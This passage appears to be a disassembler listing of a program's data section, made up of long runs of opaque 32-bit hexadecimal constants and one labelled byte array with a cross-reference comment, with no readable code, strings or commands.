		dd 780B96F3h, 20AEF840h, 7DF39502h, 2DE0BD8h, 2134E2F9h
		dd 9D40B184h, 2B9057F3h, 0C5409E2Ch, 54602CF4h,	2782321Dh
		dd 2CF0E4E3h, 82F50A60h, 5680D6A2h, 0C582C20h, 1EF414C7h
		dd 0D11D9928h, 0B41DFB62h, 89561AC0h, 0FE6BD7F6h, 115E613h
		dd 0EEC7545Ch, 0F0DB47D1h, 0FB001155h, 0C8A9A801h, 1E287149h
		dd 14F1FE3Ch, 0C8C1201Bh, 0D291AA7Fh, 0F6AC213Eh, 673DDAC1h
		dd 81FE3D9h, 58EFA290h,	7F2B9C4Ch, 0E4C240A3h, 1081CF5h
		dd 547994C8h, 0C0806053h, 0BC232775h, 0B4948FD5h, 2357B060h
		dd 0C6032361h, 0A04758E5h, 0F2F4E65Ch, 0BCD6B200h, 0AD03CD70h
		dd 574BDC8Fh, 20ECD832h, 3BA50076h, 4C30D56Ch, 45245921h
		dd 0AC002842h, 8B5F60C4h, 28E47876h, 220CEABh, 258334F3h
		dd 8156DBCh, 0B000747Fh, 31442DC3h, 0F9E7A04Ch,	0BE489B0Dh
		dd 0BF551004h, 0E1517CC1h, 9C806832h, 3EE4673Fh, 0B5A12042h
		dd 5204A7Eh, 928D422Dh,	4C194078h, 8BE1887Eh, 4E827E9h
		dd 7DACF4E5h, 5710132Ah, 8D70838h, 0DBEBC66Ah, 204B14F9h
		dd 3167BB02h, 213EE011h, 51C0584Ch, 0EF762897h,	6068211Fh
		dd 0CDCF39Ch, 0FEA3E8FDh, 59A4088Fh, 29138A70h,	5180E076h
		dd 9E205CA0h, 5508F371h, 0F8E292D4h, 18758B8h, 0A53BF8B3h
		dd 5C291FE6h, 0E0D6AC0h, 8E0A1851h, 4FB4F160h, 0AB0202C0h
		dd 3EE9783Ah, 67C1B042h, 0F1F042F5h, 0B405E04h,	163027F1h
		dd 55430AC8h, 5480C82Dh, 0E858EC2Ch, 2B79CA70h,	0C54097AEh
		dd 9C202C88h, 0A357E27Fh, 0C0C48A40h, 18F1E85Bh, 9D952184h
		dd 9157C050h, 3E69C040h, 428509A6h, 6094B174h, 0B730641Eh
		dd 70CAC77Bh, 0C0DF5820h, 50673021h, 80A75AACh,	0D87CE401h
		dd 141FE6CEh, 0A020A5FCh, 772A4E5Eh, 0D8908F64h, 974F8F0h
		dd 0E4E97923h, 0DEC440D4h, 28EA4D51h, 7DFF99DCh, 0C5B42C8Ch
		dd 215B0428h, 655483DBh, 4650EEB8h, 97508BF9h, 502C0CC6h
		dd 18EF5C8Fh, 7B2091Eh,	0C7149834h, 1D70CCDCh, 0A04C8830h
		dd 3EDDCE8Ah, 506ED818h, 8FA0EEECh, 4208B53h, 8E2D8AB4h
		dd 8D58B92Ch, 0E91F0688h, 0C40E3D5h, 0DAD06688h, 5937FCA9h
		dd 18C131C1h, 1FF14F12h, 88F5D2E8h, 0E05D0CF0h,	86619C0h
		dd 6DD84C78h, 2A1A1F36h, 0D0F970CBh, 0D0B8A695h, 51002DF0h
		dd 0A83E7905h, 2406BF07h, 739D970h, 0F0BB2CE6h,	0D293C384h
		dd 0D6053D00h, 37DBCD6Bh, 88F15085h, 0F91C1499h, 420CB09Dh
		dd 4958AB09h, 869C8800h, 7870D9AEh, 700A5885h, 99294F3Ch
		dd 4C5D0EC8h, 979C181h,	92208E1Eh, 682C2C8Ah, 136047Fh
		dd 79DA2D0h, 0C04EBE1Eh, 820A314Fh, 45EE00A4h, 61EA34D3h
		dd 0DB030242h, 4E4DB3C7h, 26800A46h, 8BF0E821h,	7780AFB0h
		dd 66DF70D3h, 1C008CE6h, 446A832Ch, 16931F04h, 0B86395Fh
		dd 0B807C774h, 1537CCh,	6AB03562h, 5346E53Eh, 91F09A4h
		dd 5A4820E0h, 80B5295Ch, 35060EBh, 0DF00DCC0h, 0DD19C65Eh
		dd 0BE37410h, 188C1ACh,	22833F80h, 3D5C4D56h, 9931600Ch
		dd 5CDF2909h, 907CC8B5h, 255BF81Ch, 0A080A4E6h,	3D60F0B2h
		dd 655E31C7h, 5C93F6F4h, 0DFA120CBh, 0E014C712h, 0D27D3441h
		dd 0BC405528h, 28561FDBh, 6189E4C5h, 295479A9h,	7075F1E9h
		dd 0C5385EB4h, 4BEE852Dh, 0A82EE03Fh, 176621C1h, 38E0830Bh
		dd 6E6DB59h, 22D03580h,	0C2A1F9BDh, 0B41881E0h,	0DA425978h
		dd 0F932C898h, 4072A052h, 944A7000h, 0FE1C7E9Ah, 3BB112E5h
		dd 7330804Ch, 0B467939Eh, 0B20143E1h, 182074F7h, 0DA4B3E05h
		dd 71463D79h, 0F6A55F0Fh, 4461098Ch, 81DA4C32h,	70E0800Ch
		dd 99B9798h, 42B2A9B5h,	0A3888020h, 50A05F12h, 8E079272h
		dd 29691C94h, 64686CF0h, 214E63B4h, 80AC4D6Eh, 0ECC7D183h
		dd 59A0AC60h, 48F9E67h,	29D3FFF1h, 1FD092A3h, 90802444h
		dd 89282DE3h, 91703Eh, 0B9C82440h, 0C0E3146Dh, 0D140D39Fh
		dd 0D6490E69h, 43B2CD30h, 37F1780Ch, 8B9F64E0h,	0B4EDC70Ch
		dd 0DC9821h, 533C1362h,	95855D51h, 0F3E6890h, 2A75BD34h
		dd 0DEEC88DBh, 0B84DE806h, 9800A82h, 0C8BECCDCh, 0E9217000h
		dd 0E549D79Fh, 64992624h, 45AEBE8Fh, 801862D3h,	48DC0EE0h
		dd 0AC1FDCD8h, 0DB8AA6Ch, 145E911Eh, 60F0F358h,	0B492D2B7h
		dd 0B9FFDF00h, 0A9C686A6h, 331498DCh, 0A868AF9Fh, 6C791000h
		dd 0F96286DAh, 7E7F0D7h, 34250A59h, 0A73790CCh,	0AB489F66h
		dd 300B1D34h, 0B0E7CA00h, 0C9BFC1C3h, 4C058DF0h, 0EDBC4321h
		dd 3854F51Eh, 0CABB558h, 12A8FBB1h, 0F8C11809h,	0E6DD2084h
		dd 0BD795307h, 0C8C0F2A6h, 98916FE0h, 0A1163178h, 0EEB711A8h
		dd 4EC180A1h, 0ACA040A8h, 141462C5h, 49E92EB0h,	0A0342AF0h
		dd 6A848309h, 0AC988831h, 0CA5370Ah, 0A405EE08h, 0B1313128h
		dd 0C7E47082h, 2DCC5809h, 6158A1B9h, 504B4ADh, 9346584h
		dd 0F484DAD8h, 115340F0h, 90F17B5Ch, 248E5280h,	3726083h
		dd 43481862h, 1C8C2A4h,	0E6DC86A8h, 0F1A86610h,	30CA07E3h
		dd 1BA63B43h, 4976B178h, 64600482h, 21824BBCh, 0B2307E80h
		dd 8C68C912h, 0B300E1FDh, 0D5C2255Eh, 144C8B6Bh, 0A4DE2360h
		dd 4D89626h, 1FF2A59h, 0F8661DC4h, 3E01D438h, 67297F04h
		dd 7E243807h, 7CCC25h, 88DFD928h, 0E94D61CEh, 0ED847FF3h
		dd 613C487Ah, 4DBDA21h,	31E4752Fh, 0E0465AFAh, 0F1BC2379h
		dd 0A8BDCF04h, 18598C21h, 0F82D5839h, 7EA97962h, 422A1530h
		dd 841F23D6h, 2147C76Eh, 0E318FD10h, 8B59B21h, 8C84A5E0h
		dd 0B4E3C55Ch, 0FADB3162h, 0C3BE90A0h, 88A27249h, 0EEABEF8Fh
		dd 20F03B85h, 0A8B78F30h, 747D18A1h, 0F7001094h, 2906B098h
		dd 3DF41C9h, 451AFEF4h,	0A00E426h, 55D567A1h, 4AF720h
		dd 0A795A2FDh, 7BC7749Ch, 8305DF3Fh, 7E265F09h,	3767C03Eh
		dd 6B420156h, 0A60FD6C3h, 35B02F59h, 29D504AAh,	80DE5546h
		dd 1787D0EFh, 1F2F7A00h, 153C9ED7h, 0EC281482h,	17823CFFh
		dd 7C10C23Eh, 8784373h,	42316E62h, 0D7301F9Ah, 178CCh
		dd 92381E29h, 17B39EA3h, 5B289800h, 0A6A4AF0Dh,	21900E31h
		dd 0A720B14Ch, 0C5132D6h, 97508D78h, 0CFEF11D9h, 7BA96C00h
		dd 9F6E3AA0h, 3CF00FB3h, 0A4C04F29h, 0EBB0E8A2h, 47C82100h
		dd 821AA37Ch, 74650022h, 5A066156h, 871EE1E4h, 68010C80h
		dd 20DC31B8h, 11AD3C48h, 11B02256h, 98020A6Dh, 9676381Fh
		dd 0AB21703h, 8EEDC931h, 8910854h, 0F5F4E2C1h, 0DB443B08h
		dd 0DCC3003Fh, 0A3436F59h, 31C25FE5h, 119DC002h, 0D9840907h
		dd 2143B130h, 5B18420Dh, 22843B7Ah, 540A1FF8h, 0A8DD2AA2h
		dd 3105AE8Ch, 1C5921C3h, 57A8F410h, 5784D37Ah, 153CD83Ch
		dd 11B02591h, 86820B4Dh
		dd 1F10A47Ch, 342A8CD8h, 0B5236C1Dh, 0F1030449h, 0BB2C2219h
		dd 0A2E0EAD8h, 310A5D3Ch, 89FF192h, 10A8AE0Fh, 847C84F8h
		dd 37614025h, 2A990C0Dh, 103C8DEFh, 8A225745h, 0AE1FC89h
		dd 0CB08A3A5h, 12612FDh, 0E2A5422Ch, 3823D700h,	2C024982h
		dd 1D109322h, 0C9888DFDh, 38D3C747h, 441150EDh,	280E0AD9h
		dd 0C8487C9h, 8FC1F8AEh, 80D84CF3h, 0BD529CAEh,	8AD12360h
		dd 679C915Ah, 4ACFE8FBh, 0F965D838h, 57479C71h,	6D52B00Ch
		dd 0FAB5123Ch, 0B619831h, 96618218h, 22AB6C79h,	0E500C278h
		dd 0E6974618h, 0B298AF25h, 28085A30h, 0DFEDE138h, 0D44D0220h
		dd 0B840230Ch, 8B60AC76h, 0D027FB30h, 0A34207B5h, 48DA3122h
		dd 0CFDCFC02h, 8CC4853Bh, 16C2460h, 7530F1CCh, 49F96379h
		dd 30620B23h, 7A46D98h,	3C8FC3F4h, 61311914h, 0EBCF1058h
		dd 58F2EA18h, 6B380EA4h, 0E0D83C7Dh, 2251E510h,	0A04851E1h
		dd 541891h, 0A7C7F9B7h,	3E79A58Ah, 8F2644C8h, 6CE80894h
		dd 56299F03h, 0A0300717h, 0B1165832h, 4C1345B2h, 951F994h
		dd 0C87018B0h, 30CB6220h, 0EB308768h, 166332E0h, 10316181h
		dd 0CAEB290h, 2986DC73h, 24A0E070h, 3C383B64h, 54DDC589h
		dd 4665A407h, 91203846h, 3390A5h, 0EB698EA0h, 0A1CB6B2Eh
		dd 9CF76428h, 1741CF18h, 528C2238h, 7D15A8ADh, 0C384A456h
		dd 387B01FFh, 0F040C926h, 28F3E170h, 2141C57h, 0A2D444AFh
		dd 3040A974h, 8B2489E9h, 0F2005CB0h, 0D37E9229h, 0A0D0C1AFh
		dd 21066CCAh, 2293E4B0h, 8F1F9B0Dh, 8CEAE0F2h, 228C5068h
		dd 6F118DFDh, 0EE06AD93h, 29160C21h, 79753230h,	7CCC809Dh
		dd 0B3F71C4Ch, 64D9E68h, 11F6D6B4h, 1D0EFF0Ch, 1899F0A2h
		dd 0C85BEBE0h, 97C74F6h, 11B788C0h, 0F8555A25h,	383E0690h
		dd 0E8F9DBC3h, 52332302h, 0A0EB2F46h, 0B81ECCE8h, 305F50DCh
		dd 0E100F952h, 2F05C770h, 797A611Bh, 0BAD68045h, 8CB0B2C6h
		dd 0E23600E0h, 3F0D4A7Ah, 2C0C0913h, 919067C0h,	3B1642BFh
		dd 0DF8805D4h, 0C801C8DEh, 2193E0D6h, 0A07C688Ah, 5F800E0Ch
		dd 2DCCDC43h, 0F4ADA124h, 0A70A0590h, 0BC186E87h, 8359E902h
		dd 0B480A67Ah, 0D690EDDBh, 7FC2F704h, 0E4848F04h, 0DCA97881h
		dd 0FFAEC082h, 3844B4A5h, 22CBE018h, 4DDF5C88h,	540FC4FAh
		dd 4005DCBEh, 5B1401A2h, 0E1610BBCh, 0C88809D8h, 7A0920BFh
		dd 0BC80234Eh, 299990D3h, 409F6167h, 0F1285758h, 8C843037h
		dd 918D3230h, 0D5682217h, 0A4014C19h, 0A2F7EFCFh, 11C1FF55h
		dd 0F3E7EFFBh, 2804B0D5h, 826DBFF2h, 0CC75A890h, 2C82821Ah
		dd 5500D929h, 20623092h, 712C9F69h, 188FF813h, 20AC4BF2h
		dd 0A521E984h, 28A0A85Eh, 9C4E3160h, 452AD691h,	11740528h
		dd 9EA8038Ch, 0A5D1EE12h, 80288226h, 82906C71h,	406FCC60h
		dd 4894BB50h, 320BE8EDh, 20054F39h, 7023C3EBh, 37D43800h
		dd 0CD1AE849h, 28E892A1h, 22CC526h, 0FFAF690Eh,	0D8A08FD8h
		dd 9F313F8Bh, 181C0A32h, 6DD0A323h, 784150ACh, 2453529Fh
		dd 60517409h, 0E1CB4C02h, 4829CCC2h, 3B19B082h,	1904CCA9h
		dd 219C907Dh, 880110B7h, 0E139B4D6h, 3057E42Ch,	1EB67D3h
		dd 7EBDE5F1h, 501B2C97h, 8CE97A08h, 0BF3AB812h,	4481C13h
		dd 0A1A78F03h, 0E84CF0F4h, 0AEBC0926h, 23811374h, 2591CAD4h
		dd 653C3454h, 0DC1EA706h, 26F937A5h, 0C621699h,	7D11A85Ch
		dd 2290254Ch, 0D27F00ABh, 958B88B4h, 80BFB001h,	122210FDh
		dd 98730DF2h, 40C9F129h, 4C201C94h, 82348284h, 13BED2E8h
		dd 0D6A86FC0h, 0CB833891h, 91D7A5E9h, 8278DDBh,	1E7416h
		dd 70D3F248h, 0D0B8E35Fh, 0B2A10F09h, 0F67C002Eh, 0E8308FA6h
		dd 589E48DCh, 5521108h,	40042713h, 1705A371h, 0E2C009Eh
		dd 0DC59A5CCh, 4CCC2A48h, 0C09F2CE4h, 0A809458Ah, 2021F424h
		dd 0D4F5EB07h, 0FDE9588Eh, 6216016Bh, 325BC003h, 81C424DEh
		dd 2B842460h, 54312939h, 9E4A892h, 0AC71A270h, 0E9A4C82h
		dd 0A1A97601h, 0FFAA1040h, 881B12CAh, 0A560040Ch, 8F544F8Ah
		dd 0AED80501h, 0C919881Eh, 3CE3AA10h, 7306FF21h, 10F57DB1h
		dd 0DF70F678h, 3E31A660h, 44E173DBh, 21555A1h, 78B070DFh
		dd 2850C865h, 29E0801h,	28400973h, 6FDFFFB5h, 0A4AC8198h
		dd 47243DD9h, 3E088031h, 0A5B601E4h, 60AC5D75h,	1B06E174h
		dd 0A252DA29h, 0B1EA0930h, 880BA39h, 8AEB15D6h,	491A8916h
		dd 8146E80Ch, 77DE00C1h, 2834B423h, 86003B6Ah, 0A26741E2h
		dd 0BF2AC44Dh, 0B49467F0h, 6C055D16h, 40C13976h, 0E200F964h
		dd 925DEEA7h, 6CF702F4h, 40B2A53Ah, 80A28618h, 0CB12F9BAh
		dd 50005C79h, 94A85D95h, 7C6F5CA0h, 0AA7C5124h,	7C30FD58h
		dd 0ECE35021h, 22A18898h, 424C426h, 7757E902h, 0A261E0F1h
		dd 0D635B0C5h, 9A9C02E8h, 0C8405F0Fh, 6718B794h, 0A7B175D2h
		dd 447980E5h, 0C80971D2h, 5E3423D8h, 68400811h,	568158D9h
		dd 20299ED7h, 4D74A474h, 0D300205Bh, 0AE4C8865h, 0D64840E4h
		dd 6E5EC058h, 86F0C24h,	56BFAD50h, 15CB269Ch, 5804021Eh
		dd 35CC40Fh, 0C2D4FF51h, 0F81F8479h, 0B3006E86h, 833356D9h
		dd 0EEA80E22h, 7306610Ch, 517C3941h, 0D091818h,	0C3550E18h
		dd 0F5BDAB99h, 0F4E80813h, 0C0802824h, 62548866h, 60D02917h
		dd 5906140Ah, 29879A0h,	759D2BF2h, 0FCE0535Fh, 41C6A9A5h
		dd 22107754h, 983CA84Dh, 0A21D11DBh, 0FDE3AA51h, 18041808h
		dd 0E4AB1196h, 0D177A0Fh, 9775432Fh, 3122983Ah,	0D4905D3Fh
		dd 0CCA52E00h, 0A70BA3B3h, 30594524h, 0FC387B98h, 35FA068Ah
		dd 19E43926h, 990C9713h, 60CA3400h, 90688C7Ah, 0A022186Ch
		dd 0F172189Fh, 8B48B890h, 856D88A8h, 874C292Fh,	4C8847BFh
		dd 0B65D2C38h, 2E820090h, 0EF7D0A26h, 7D40CACh,	5B9C2FDh
		dd 0DDA2115h, 1FB16A0h,	0A2C01C06h, 257B4011h, 808DA144h
		dd 0E440FE90h, 0BC8C8195h, 109C3389h, 0C8210302h, 82C3041Dh
		dd 6435A7B9h, 0A4A8B13Ch, 2300A3D6h, 7E22062Eh,	50E13779h
		dd 72AFA095h, 6532259Ah, 0D1EBE400h, 0D6804AC9h, 0E3260009h
		dd 0FD991C5Ah, 922C0AA5h, 0A647647Eh, 37229601h, 736A053h
		dd 0D1B39B30h, 9DB61048h, 0DCB27153h, 0D7345001h, 0D65C88B5h
		dd 0B0804828h, 76996406h, 25206548h, 0E7988515h, 100D644Fh
		dd 0FEE3E10Fh, 0AC2239C0h, 88943765h, 4C84A340h, 11CE6077h
		dd 6725EC24h, 2D6B4A12h, 0C405385Fh, 782DAD4Bh,	0FC619430h
		db 0C7h
byte_4E0049	db 3Ah,	0E7h, 83h	; DATA XREF: ___:0042CC94o
		dd 822C4003h, 5CC8803Dh, 151BEA33h, 0B41096F4h,	0A2BECB00h
		dd 2E3EA595h, 2DA00099h, 0FA755218h, 0A1663098h, 0AF8FB130h
		dd 21C78800h, 1CC5BD4Ah, 8101F9F3h, 0B7A2D0F0h,	0BE7411C0h
		dd 0CEA5B95h, 0FFB06319h, 0BFF0F718h, 0D024700h, 2E542A3Ch
		dd 9C370144h, 0DDDF16BEh, 48C00413h, 0C0E6240Ah, 0AF8E4178h
		dd 89DE64B4h, 18AB3801h, 40E2AE9Eh, 0FA419DCh, 8F7FB35Ch
		dd 0AF6B1C80h, 6377AB3Ch, 8040083Fh, 0B526680h,	6B397FDh
		dd 69918A16h, 0C71FE8E7h, 6B1181BAh, 0FB82E902h, 437DE30Fh
		dd 0C1110A68h, 38728Dh,	0A7B25B9Ah, 40055018h, 0EA5FFB61h
		dd 0F41C0Eh, 2DA2C74Ah,	938114ACh, 3FC8A82Ch, 0C7577B60h
		dd 0BCE6299Ch, 0E79FE78Ch, 0C059426Fh, 0D28CE891h, 86FF7E30h
		dd 0FBE4BE18h, 378E4510h, 0B048CE6Bh, 605663BFh, 688A3E01h
		dd 5EA23BABh, 5015D850h, 18E62A46h, 0E710A8C0h,	8071526Bh
		dd 88F10D22h, 46C70890h, 0F7047134h, 8AD28466h,	165A4F03h
		dd 0F99C5007h, 9A170CDFh, 92B95080h, 0C8A263h, 0A6D3E1B0h
		dd 1C5E0BCh, 9382FF9Bh,	43464BF4h, 91038B58h, 4E332157h
		dd 838E8B7Fh, 9C5E8081h, 97F403A0h, 648CCC63h, 8B161100h
		dd 2F0BC93h, 0E090AB6Bh, 3C48EE19h, 0A8D0BA66h,	0AC681239h
		dd 130002CEh, 8440BD27h, 5D063EABh, 93BEC228h, 0BFF41D38h
		dd 32894076h, 387F731Ch, 5BCE952h, 0C9D7EB9Fh, 9A200800h
		dd 1B530DA2h, 4095793Dh, 3370D1E0h, 0A1EB1818h,	1F6B170h
		dd 0E76835CBh, 22C05501h, 7B800544h, 84009521h,	3D7FDAEFh
		dd 0BE50005Eh, 9EB445E8h, 5B3C4665h, 82F600B1h,	8C4E035Dh
		dd 0DCE300C0h, 80318104h, 9B007707h, 0E56059F8h, 189E0B38h
		dd 484CEE67h, 0C71E07E4h, 0D00ECE3h, 2D0C5925h,	656C079Eh
		dd 63169804h, 0DDC18801h, 0FC80F5FBh, 0EE0CE12Bh, 66E7D4Fh
		dd 52143805h, 48A37B19h, 905AE1BEh, 4B885B10h, 130453E4h
		dd 38C200EDh, 0B82750h,	0E8052060h, 0A0DC6ECh, 8409FE0Ch
		dd 36639AAh, 571BA82Fh,	0C841733Fh, 0C7C883AFh,	7B17C1B4h
		dd 8E743C51h, 9739B730h, 28C34F9Fh, 18BF0917h, 8040F60h
		dd 0E350C34Ch, 0F19314h, 61AC1Dh, 0BAFB9A2Ah, 9EA712A2h
		dd 21EF2230h, 2F0F37h, 0F0E6E9B3h, 63D1AC57h, 2CCB0A1h
		dd 12D4A073h, 3C8618h, 0D393D01Ch, 0E90B8C89h, 87E270C3h
		dd 78DEC388h, 10456489h, 0B4D72746h, 0E5230E84h, 11B64031h
		dd 2BE45A64h, 5B67319Ch, 95C138E1h, 788C3380h, 6A10EC66h
		dd 9B4E0191h, 7389E9D2h, 60F9829Ch, 0E02B8AA5h,	2A0A8C7Ah
		dd 2988E57Bh, 9816A0h, 8BCE347Fh, 2B0005A4h, 0EF23C206h
		dd 0E48D59EEh, 623F00ACh, 84833CA5h, 5ECEC5Ah, 0B212C000h
		dd 4CA62A8Bh, 0ED9D07E3h, 45CA9ABh, 0C726871Fh,	209C0518h
		dd 3585D50Ch, 0B027072Ah, 1F9C3C3Bh, 0D806BF46h, 2180D565h
		dd 890E22BDh, 84009280h, 4AAC136Dh, 0BFF206B6h,	0C1A860B9h
		dd 1B848B08h, 0FCE90EC8h, 806804E4h, 0F9E74018h, 9B88FFCh
		dd 32CEE600h, 0A2A82C3Eh, 4C769Bh, 762ECE7h, 2938C3E9h
		dd 1759B0C3h, 50C80ABh,	90CCF010h, 50720328h, 1FDD92B1h
		dd 7BF84006h, 7C84794h,	0DFE931Ch, 773AC0F7h, 70C7280Ah
		dd 0EB61B267h, 0E0210475h, 7313DC5h, 0F8048444h, 4C809E4Ah
		dd 7FCF1EEh, 0B5AF4664h, 0F9E8A073h, 5FE1F59h, 58E1A831h
		dd 1C104F0Fh, 0FD605F23h, 2AC03418h, 1B5F886h, 82A02FA4h
		dd 50F4478Ch, 0F36F36E8h, 74EEE700h, 757B7151h,	0AFF80502h
		dd 800FA906h, 0A11B5F4Dh, 0B1200B03h, 3CFB667h,	118C8380h
		dd 4811FEB4h, 8B064ADEh, 18B7D11Ch, 504C32FBh, 930A33ACh
		dd 84E0659Fh, 0BE301388h, 0F70E1E48h, 0D74F4E0Eh, 8FE75F40h
		dd 65191826h, 99F8A7E3h, 115310Dh, 825157Ch, 8CA443DBh
		dd 3095B0F0h, 67F9E715h, 2380E99Fh, 0F63010C2h,	47DB801h
		dd 0ECAB1CC7h, 4C6C80FBh, 4090F0F7h, 0EAFDE700h, 87CCBFE6h
		dd 25FA043Fh, 80B877AFh, 22634C24h, 0AAA82419h,	91FC67B8h
		dd 0FE3C90EDh, 2B980E65h, 7242DAh, 97D89320h, 78536273h
		dd 99C68420h, 0CDA91000h, 0E038BDE1h, 897A0078h, 0A53D9A7Eh
		dd 0E9950E44h, 91A0FEB8h, 0EB464F9Eh, 0E6BF5300h, 5B668880h
		dd 0F11200C7h, 0AD9EF692h, 0A51DDAB5h, 2E22B021h, 1F013BBh
		dd 3820CD69h, 0C6E6F061h, 5CC4832Eh, 28441030h,	0E4FB0090h
		dd 6FAFA4A6h, 0E102BFC5h, 0DC1FCB49h, 9079E0B4h, 3FBE3CF2h
		dd 4E6CBC0Eh, 0BD1B80FFh, 4929C7ABh, 8327A839h,	9545DE40h
		dd 73690460h, 4046BD2Bh, 0C36AE596h, 288D00CFh,	0CD451D3Eh
		dd 0AD38F6C4h, 2D161D9Dh, 0A46E4987h, 53BF13h, 425D9C39h
		dd 0E38898A3h, 0AA379400h, 1862B316h, 1DC17CD9h, 302DDF5Fh
		dd 1E29BA78h, 0E0800451h, 0D800ACBDh, 53354EDBh, 244346h
		dd 25B11FF6h, 0C4668A79h, 74DEF03Eh, 0A56FA200h, 0CCA149ACh
		dd 0FA460078h, 813E27F8h, 201F723Fh, 0B780A075h, 0D2D89945h
		dd 0AF6B005Ch, 40C325B6h, 63008DBBh, 41595536h,	7910389h
		dd 0ED9B5E23h, 0E3BB043h, 5A78FFCDh, 0FB28B41Ch, 0F9B3CA80h
		dd 0F62B6FE7h, 0C58B2E89h, 0A5540001h, 92156AF0h, 0A3F88600h
		dd 477BAAAh, 5ED113CAh,	0F59A001Bh, 0F336C07Eh,	760C5800h
		dd 0A6255DF7h, 0F98A1FB8h, 620A0164h, 0D41E7789h, 2003FE58h
		dd 74AFD9E1h, 0A33E8049h, 6F8C00FDh, 15F3F8BFh,	911D907Ch
		dd 520FE477h, 0E31B8056h, 27AD43h, 5336194h, 310F9CCFh
		dd 0F110E901h, 4437EC1Ch, 7D3AACC0h, 74690EA5h,	40004DDCh
		dd 0C545481Bh, 5C75500h, 718C4434h, 53C9006Ch, 0E1BD1467h
		dd 0C300DC8Bh, 0CD98ACD9h, 0A7C8Fh, 0F06D6F6Ah,	0CC2BA18h
		dd 0AA7158h, 2C8B190Dh,	0C068CD57h, 95D85D20h, 0C5003C3Dh
		dd 4E82A8E8h, 52520h, 0BFF615DBh, 5857F2D1h, 0A58CFF00h
		dd 2AD74639h, 0D97DD3h,	3AF947DEh, 0F44B30CDh, 6E73DF00h
		dd 701CCFC8h, 94230379h, 8ABA2051h, 0A6F707C8h,	9AB6D000h
		dd 0DC29D7C0h, 1D4D3781h, 0A8DDA070h, 0C2002C10h, 0DA6B3FFDh
		dd 416894h, 0EB227DEFh,	0F3D5A99Dh, 45C7E7Fh, 0FD7712AAh
		dd 7C3D4F1Ch, 0CBEF780Eh, 0CC8620D9h, 5CBD5375h, 85004F6Ah
		dd 0DA0C672Dh, 970281EDh, 0EF55CF5Dh, 0F514412Fh, 4092C042h
		dd 59D536h, 0F4BA262Dh,	0A6EB733Ch, 3600F875h, 5C6B1B32h
		dd 0BE2A22h, 973E5B90h,	28B235AAh, 5F85E105h, 0AC407D55h
		dd 87532AAEh, 33100DFh,	21A73677h, 9300626Ch, 6AF2A8ECh
		dd 4CE566FEh, 147CD2B0h, 842D3D8Dh, 94FF903h, 0A5F080F1h
		dd 13706FEEh, 86CFF33Ch, 482D6AE8h, 24AF64Ch, 0D47B40B7h
		dd 9EE0E14Bh, 0E90085BAh, 76CC0A41h, 801C84h, 8C3D70BCh
		dd 2C350326h, 9E8B9400h, 0CA9A5EAFh, 0A178A8h, 0FF540BEAh
		dd 0E1392B6Eh, 0B0C9DF0Eh, 0B9BCE0CFh, 1EAB4051h, 1CA8A6FDh
		dd 4617C5E9h, 0C9DC00B7h, 0A336DA88h, 809DBE3Ch, 0D186DEE5h
		dd 0F41430h, 0B3267FB9h, 0CA28F92h, 0C4498B00h,	8CD9C940h
		dd 1EE558CDh, 4F3E8000h, 0B4F76E34h, 0D7982907h, 2E13058h
		dd 3180C0BDh, 2D067A33h, 0F700E855h, 94202CB7h,	120EC623h
		dd 832951h, 0D12521DDh,	0DA242D03h, 0FFE1B012h,	0F07E60DCh
		dd 611D8224h, 0C343BAE2h, 0C8586A25h, 38A8A0C8h, 0AE805729h
		dd 2F057091h, 881F16DAh, 0D556EF42h, 23D3B400h,	0FE088D52h
		dd 0EFF0078h, 0DDDD201h
		dd 0B11EEF95h, 2BC0B902h, 1DEAC459h, 5D930082h,	2DE141D7h
		dd 8000A053h, 6B988947h, 0E63C95Bh, 7F9DCBCFh, 21C0DD47h
		dd 0E0FA70A0h, 1B052984h, 596BFBF2h, 4C7CBF00h,	1DF0BD94h
		dd 0C1AE7449h, 469F33Dh, 7C87C876h, 97801400h, 0B9367113h
		dd 0CC9900C5h, 0CB644D88h, 0C3009A02h, 57C69232h, 0A4DA84h
		dd 4A78DB0Fh, 4DB26259h, 2329D400h, 80D26417h, 35DE0010h
		dd 525EC5F7h, 0BD001683h, 42871509h, 0DAF6E4h, 0C8443EBFh
		dd 1B8DA78Ch, 0A3FE3600h, 0FA5B4EF5h, 5846007Bh, 1F1F71Eh
		dd 49186467h, 7988053Eh, 2EB891h, 0A5D32FFEh, 3CE09C71h
		dd 1E09D97Fh, 8004C841h, 0F2603122h, 0BA8A246Dh, 5A6A0360h
		dd 0D6003D98h, 0E50E1D0Bh, 7E467Dh, 8078408Ah, 106F2753h
		dd 942FB100h, 0EC1BABDFh, 7880E14Bh, 48F3D0C9h,	3BB87C39h
		dd 0F9A0EF01h, 0EABE250Fh, 741840C6h, 277200A2h, 0AB17A4A9h
		dd 9C2CC424h, 300522BFh, 0DD80D6DBh, 0EEE62Eh, 0CFEF2559h
		dd 0FE457CFCh, 0B20BC00h, 194E35BAh, 0C744009Ah, 8EBB617Bh
		dd 0B824D94Bh, 0DE00A1DDh, 0FE138541h, 8C9A0338h, 8EE9FBF6h
		dd 592592D8h, 0E5D60900h, 4B13C910h, 3387F53h, 1FCE3D6Ch
		dd 0F1F74D5Bh, 0E07162C5h, 16005497h, 5E9398F8h, 0B0144F43h
		dd 0F4691EA0h, 0E0C800AAh, 0B6CEDB20h, 109A8798h, 76E738h
		dd 0B791F3DEh, 0B4AD9B2h, 0F55ACA84h, 0A250F300h, 0A6030946h
		dd 0CEA2C17h, 7EFCA86Dh, 3544004Fh, 4D673EFDh, 9B6061C1h
		dd 0E0922384h, 711A0001h, 1F19DD20h, 1100FE35h,	0F26E8977h
		dd 98F67617h, 6324005Eh, 2373DCE7h, 0AB035678h,	40B0BDC6h
		dd 0F93903D7h, 50467627h, 7BB55800h, 0CBF17F2Bh, 5D1C0FBBh
		dd 11000169h, 29F27A3Ch, 7C338700h, 0F0DDCCEBh,	0C7E6015Bh
		dd 0C549180Fh, 0D3D8F7DCh, 0D1001364h, 2932FB46h, 9CA64Fh
		dd 8A4C243Dh, 14D0CCBCh, 39F82600h, 47886962h, 447700FDh
		dd 53DC6625h, 1CF60A5Ah, 0A01EADA0h, 0EC641800h, 3654F722h
		dd 0D30F3EEDh, 72E50784h, 0F030D0BBh, 4E00E959h, 98ABA545h
		dd 1F8E76F3h, 408B6A9Fh, 0D123E032h, 6C01DE9Eh,	26D7242Dh
		dd 84C01845h, 427FC4h, 96B32F15h, 3C1640B1h, 7CB7A600h
		dd 0ACAE86ADh, 68996108h, 0C064BFBAh, 7424FA82h, 5400B4DBh
